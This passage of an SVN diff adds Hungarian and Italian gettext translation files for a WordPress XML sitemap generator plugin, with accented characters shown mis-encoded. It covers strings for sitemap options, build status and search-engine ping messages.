+msgstr "AbszolÃºt vagy relatÃ­v elÃ©rÃ©se az oldaltÃ©rkÃ©p fÃ¡jlnak (fÃ¡jl-nÃ©vvel egyÃŒtt)."
+
+msgid "Example"
+msgstr "PÃ©lda"
+
+msgid "Complete URL to the sitemap file, including name."
+msgstr "Teljes URL-je az oldaltÃ©rkÃ©p fÃ¡jlnak (fÃ¡jl-nÃ©vvel egyÃŒtt)."
+
+msgid "Sitemap Content"
+msgstr "OldaltÃ©rkÃ©p tartalma"
+
+msgid "Include homepage"
+msgstr "FÅoldal mellÃ©kelÃ©se"
+
+msgid "Include posts"
+msgstr "BejegyzÃ©sek mellÃ©kelÃ©se"
+
+msgid "Include static pages"
+msgstr "Statikus oldalak mellÃ©kelÃ©se"
+
+msgid "Include categories"
+msgstr "KategÃ³riÃ¡k mellÃ©kelÃ©se"
+
+msgid "Include archives"
+msgstr "ArhÃ­vumok mellÃ©kelÃ©se"
+
+msgid "Include tag pages"
+msgstr "CÃ­mkÃ©k oldalak mellÃ©klÃ©se"
+
+msgid "Include author pages"
+msgstr "SzerzÅ oldalak mellÃ©klÃ©se"
+
+msgid "Change frequencies"
+msgstr "VÃ¡ltozÃ¡sok gyakorisÃ¡ga"
+
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+
+msgid "Homepage"
+msgstr "FÅoldal"
+
+msgid "Posts"
+msgstr "BejegyzÃ©sek"
+
+msgid "Static pages"
+msgstr "Statikus oldal"
+
+msgid "Categories"
+msgstr "KategÃ³riÃ¡k"
+
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "Jelenlegi hÃ³nap arhÃ­vuma (Megegyezik az oldaladÃ©val)"
+
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "RÃ©gi archÃ­vumok (Ha egy rÃ©gi bejegyzÃ©st mÃ³dosÃ­tottÃ¡l)"
+
+msgid "Tag pages"
+msgstr "CÃ­mkÃ©k oldalak"
+
+msgid "Author pages"
+msgstr "SzerzÅ oldalak"
+
+msgid "Priorities"
+msgstr "FontossÃ¡gok"
+
+msgid "Posts (If auto calculation is disabled)"
+msgstr "BejegyzÃ©sek (Ha az automatikus kalkulÃ¡lÃ¡s ki van kapcsolva)"
+
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "Minimum bejegyzÃ©sek fontossÃ¡ga (Ha az automatikus kalkulÃ¡lÃ¡s engedÃ©lyezve van)"
+
+msgid "Archives"
+msgstr "ArchÃ­vumok"
+
+msgid "Update options"
+msgstr "BeÃ¡llÃ­tÃ¡sok frissÃ­tÃ©se"
+
+msgid "Reset options"
+msgstr "BeÃ¡llÃ­tÃ¡sok visszaÃ¡llÃ­tÃ¡sa"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-it_IT.po	(revision 44)
@@ -0,0 +1,938 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Google Sitemap Generator in italiano\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-24 00:20+0100\n"
+"PO-Revision-Date: 2009-08-24 19:14+0100\n"
+"Last-Translator: Gianni Diurno (aka gidibao) <gidibao@gmail.com>\n"
+"Language-Team: Gianni Diurno | http://gidibao.net/ <gidibao@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr "Numero dei commenti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "Utilizza per calcolare la prioritÃ  il numero dei commenti all'articolo"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr "Media dei commenti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr "Utilizza per calcolare la prioritÃ  la media dei commenti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr "Popularity Contest"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "Utilizza il plugin attivato a nome<a href=\"%1\">Popularity Contest</a> di <a href=\"%2\">Alex King</a>. Vai sotto <a href=\"%3\">Impostazioni</a> quindi <a href=\"%4\">Most Popular Posts</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1191
+msgid "Always"
+msgstr "sempre"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1192
+msgid "Hourly"
+msgstr "ogni ora"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1193
+msgid "Daily"
+msgstr "ogni giorno"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1194
+msgid "Weekly"
+msgstr "settimanalmente"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1195
+msgid "Monthly"
+msgstr "mensilmente"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1196
+msgid "Yearly"
+msgstr "annualmente"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1197
+msgid "Never"
+msgstr "mai"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:97
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "Grazie per la tua donazione. Mi hai aiutato nel proseguire lo sviluppo ed il supporto per questo plugin e per dell'altro software gratuito!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:97
+msgid "Hide this notice"
+msgstr "Nascondi questo annuncio"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:103
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "Grazie per l'utilizzo di questo plugin! Tu hai installato questo plugin piÃ¹ di un mese fa. Qualora funzionasse correttamente e tu fossi soddisfatto per i risultati, perchÃ© non donarmi un dollaro? <a href=\"%s\">Le donazioni</a> mi aiuteranno nel proseguire lo sviluppo ed il supporto per questo plugin  <i>gratuito</i>! <a href=\"%s\">Ecco la mia offerta!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:103
+msgid "No thanks, please don't bug me anymore!"
+msgstr "No grazie. Non scocciarmi piÃ¹!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:114
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "La tua sitemap sta per essere rigenerata. In relazione alla dimensione del tuo blog potrebbe occorrere un po' di tempo!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:116
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "La tua sitemap verrÃ  rigenerata in %s secondi. In relazione alla dimensione del tuo blog potrebbe occorrere un po' di tempo!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:145
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:448
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML Sitemap Generator per WordPress"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:293
+msgid "Configuration updated"
+msgstr "Configurazione aggiornata"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:294
+msgid "Error while saving options"
+msgstr "Errore durante il savataggio delle opzioni"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:296
+msgid "Pages saved"
+msgstr "Pagine salvate"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:297
+msgid "Error while saving pages"
+msgstr "Errore durante il salvataggio delle pagine"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:304
+msgid "The default configuration was restored."
+msgstr "La configurazione predefinita Ã© stata ripristinata."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:461
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "E' disponibile una nuova versione di %1$s. <a href=\"%2$s\">Scarica qui la versione %3$s</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:463
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "E' disponibile una nuova versione di %1$s. <a href=\"%2$s\">Scarica qui la versione %3$s</a> <em>l'aggiornamento automatico non Ã© disponibile per questo plugin</em>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:465
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "E' disponibile una nuova versione di %1$s. <a href=\"%2$s\">Scarica qui la versione %3$s</a> oppure <a href=\"%4$s\">aggiorna in automatico</a>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:488
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:505
+msgid "open"
+msgstr "apri"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:489
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:506
+msgid "close"
+msgstr "chiudi"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:490
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:507
+msgid "click-down and drag to move this box"
+msgstr "clicca verso il basso e trascina per spostare questo riquadro"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:491
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:508
+msgid "click to %toggle% this box"
+msgstr "clicca per %toggle% questo riquadro"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:492
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:509
+msgid "use the arrow keys to move this box"
+msgstr "udsa il tasto freccia per spostare questo riquadro"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:510
+msgid ", or press the enter key to %toggle% it"
+msgstr ", oppure premi il tasto Invio per %toggle%"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:528
+msgid "About this Plugin:"
+msgstr "Info plugin:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:529
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:153
+msgid "Plugin Homepage"
+msgstr "Plugin Homepage"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:421
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:530
+msgid "Suggest a Feature"
+msgstr "Suggerimenti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:531
+msgid "Notify List"
+msgstr "Lista notifiche"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:532
+msgid "Support Forum"
+msgstr "Forum di supporto"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:424
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:533
+msgid "Report a Bug"
+msgstr "Segnala un errore"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:535
+msgid "Donate with PayPal"
+msgstr "Dona con PayPal"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:536
+msgid "My Amazon Wish List"
+msgstr "La mia Amazon Wish List"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "translator_name"
+msgstr "Gianni Diurno"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:537
+msgid "translator_url"
+msgstr "http://gidibao.net/"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:540
+msgid "Sitemap Resources:"
+msgstr "Risorse Sitemap:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:541
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:547
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:542
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:544
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+msgid "Search Blog"
+msgstr "Search Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:548
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Center Blog"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:550
+msgid "Sitemaps Protocol"
+msgstr "Protocollo Sitemap"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:551
+msgid "Official Sitemaps FAQ"
+msgstr "FAQ ufficiale Sitemap"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "My Sitemaps FAQ"
+msgstr "La mia Sitemaps FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:555
+msgid "Recent Donations:"
+msgstr "Contributi recenti:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:559
+msgid "List of the donors"
+msgstr "Lista dei donatori"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:561
+msgid "Hide this list"
+msgstr "Nascondi questa lista"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:564
+msgid "Thanks for your support!"
+msgstr "Grazie per il tuo supporto!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:584
+msgid "The sitemap wasn't generated yet."
+msgstr "La sitemap non Ã© stata ancora generata."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:587
+msgid "Result of the last build process, started on %date%."
+msgstr "Risultato dell'ultimo processo di generazione, avviato il %date%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:596
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "La sitemap non Ã© stata ancora generatat. <a href=\"%s\">Clicca qui</a> per costruirla la prima volta."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:602
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "La tua <a href=\"%url%\">sitemap</a> Ã© stata generata il <b>%date%</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:603
+msgid "The last build succeeded, but the file was deleted later or can't be accessed anymore. Did you move your blog to another server or domain?"
+msgstr "La generazione Ã© avvenuta con successo ma pare che il file Ã© stato cancellato oppure non sia piÃ¹ accessibile. Hai forse spostato il tuo blog su di un altro server oppure hai cambiato il dominio?"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:605
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a>"
+msgstr "Si Ã© verificato un problema durante la scrittura del file sitemap. Assicurati che il file esista e sia scrivibile. <a href=\"%url%\">Info</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "La tua sitemap (<a href=\"%url%\">archivio .zip</a>) Ã© stata generata il <b>%date%</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:613
+msgid "The last zipped build succeeded, but the file was deleted later or can't be accessed anymore. Did you move your blog to another server or domain?"
+msgstr "La creazione del file .zip Ã© avvenuta con successo ma pare che il file Ã© stato cancellato oppure non sia piÃ¹ accessibile. Hai forse spostato il tuo blog su di un altro server oppure hai cambiato il dominio?"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:615
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a>"
+msgstr "Si Ã© verificato un problema durante la scrittura del file .zip della sitemap. Assicurati che il file esista e sia scrivibile . <a href=\"%url%\">Info</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google ha ricevuto con <b>successo</b> la notifica dei cambiamenti."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Sono stati necessari %time% secondi per la notifica a Google, meglio disattivare questa funzione in modo tale da poter ridurre i tempi di generazione."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:627
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Si Ã© verificato un errore durante la notifica a Google. <a href=\"%s\">Vedi risultato</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOO ha ricevuto con <b>successo</b> la notifica dei cambiamenti."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "Sono stati necessari %time% secondi per la notifica a YAHOO, meglio disattivare questa funzione in modo tale da poter ridurre i tempi di generazione."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:639
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "Si Ã© verificato un errore durante la notifica a YAHOO. <a href=\"%s\">Vedi risultato</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3097
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr "Bing ha ricevuto con <b>successo</b> la notifica dei cambiamenti."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr "Sono stati necessari %time% secondi per la notifica a Bing, meglio disattivare questa funzione in modo tale da poter ridurre i tempi di generazione."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:651
+#, php-format
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr "Si Ã© verificato un errore durante la notifica a Bing. <a href=\"%s\">Vedi risultato</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:657
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com ha ricevuto con <b>successo</b> la notifica dei cambiamenti."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:660
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Sono stati necessari %time% secondi per la notifica a Ask.com, meglio disattivare questa funzione in modo tale da poter ridurre i tempi di generazione."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:663
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Si Ã© verificato un errore durante la notifica a Ask.com. <a href=\"%s\">Vedi risultato</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:671
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Sono stati necessari circa <b>%time% secondi</b> per completare il processo di costruzione e sono stati utilizzati %memory% MB di memoria."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:673
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Sono stati necessari circa <b>%time% secondi</b> per completare il processo."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:677
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Il contenuto della tua sitemap <strong>non cambierÃ </strong> sino all'ultimo momento in modo tale che i file non scritti e nessun motore di ricerca ricevano il ping."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:685
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "La procedura di costruzione Ã© ancora in atto! Ricarica tra alcuni secondi la pagina e verifica quindi se qualcosa fosse cambiato."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:688
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "L'ultima operazione non Ã© ancora conclusa! Forse Ã© necessario che tu aumenti la memoria oppure il limite di tempo per gli scripts PHP. <a href=\"%url%\">Info</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
